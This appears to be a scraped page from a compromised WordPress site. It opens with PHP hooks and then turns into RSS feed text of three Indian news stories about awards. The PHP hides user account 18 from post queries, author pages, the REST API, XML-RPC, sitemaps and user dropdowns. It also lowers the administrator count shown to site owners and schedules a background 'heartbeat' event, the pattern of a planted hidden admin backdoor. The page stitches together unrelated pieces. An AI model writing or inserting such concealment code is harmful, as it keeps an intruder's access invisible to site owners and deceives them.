add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 18;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 18 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 18 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 18;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 18;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/18(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
The post “Treason”: Kangana Ranaut’s Padma Shri award should be revoked, according to the Congress appeared first on The Edge Media.
]]>
Ms. Ranaut claims India’s independence in 1947 was not freedom but “bheek” in a 24-second video that has gone viral (alms). “And we got true freedom in 2014,” she stated at a news channel event, to which some in the crowd were heard clapping. Ms. Ranaut’s words, according to Congress spokesperson Gourav Vallabh, have demonstrated what occurs when those who are not deserving of Padma awards are granted them.
The post “Treason”: Kangana Ranaut’s Padma Shri award should be revoked, according to the Congress appeared first on The Edge Media.
]]>The post Delhi government to honour 122 teachers with State Teachers Award appeared first on The Edge Media.
]]>While announcing the State Teachers’ Award, Deputy Chief Minister Manish Sisodia in a social media post said: “On the occasion of Teachers Day, Delhi government will honour teachers of Delhi with State Teachers Awards to recognise their invaluable contribution especially during the COVID crisis.”
“It’s because of our teachers that the Delhi education system is now being recognised globally,” the minister added.
A TGT Mathematics teacher will be conferred the state’s Teachers’ Award for using art to teach her subject. Manisha Pavi advocates cooperative learning strategies and play-way revision tools for teaching mathematics.
Another award-holder Sushama Kumari has been awarded for developing the overall personality of her students.
Renu Bala of Government Sarvodaya Vidyalaya has been conferred the State Teachers’ Award for using creativity, innovation and pedagogy in education, curriculum development, role-play for effective teaching and learning.
While two teachers have received the State Teachers’ Award in Special Category for being instrumental in mobilising help for the students whose parents could not afford smartphones to their wards and reaching out to the students who could not be contacted on phone for online classes during Covid pandemic. The Special Category award holders are Bharti Kalra, Vice Principal of Sarvodaya Co-ed Vidyalaya Rohini Sector 8, and Sarita Rani Bhardwaj, Lecturer Political Science, Sarvodaya Co-ed Senior Secondary School, Mangolpuri.
The post Delhi government to honour 122 teachers with State Teachers Award appeared first on The Edge Media.
]]>The post I never thought my work would get international recognition : Pankaj Tripathi appeared first on The Edge Media.
]]>This year, the Indian Film Festival of Melbourne will honour Pankaj Tripathi with the Diversity in Cinema award. The award will be presented by eminent filmmaker Anurag Kashyap in the presence of the Governor who will be the host of the evening.
Speaking about the award, Pankaj said, “I never thought that my work would be recognized by a global audience and I will be honoured with a prestigious award by the government of a foreign country. I am so grateful and humbled to see that my performances are being appreciated and this gives me the confidence to perform even better.”
Pankaj has made his presence felt in both films and web series. He has been nominated for the Best Performance (Male) in the film category for ‘Ludo’ and for the Best Performance (Male) in web series for ‘Mirzapur’ S2. His short film ‘Laali’ has also made it to the festival this year.
The festival’s director Mitu Bhowmick Lange added, “IFFM has always stood for diversity through cinema and Pankaj Tripathi is an embodiment of the same. He plays diverse roles with such finesse making him perfect for the Diversity in Cinema award. With his acting prowess and unsurpassed talent, he makes every role in every format fascinating.”
The post I never thought my work would get international recognition : Pankaj Tripathi appeared first on The Edge Media.
]]>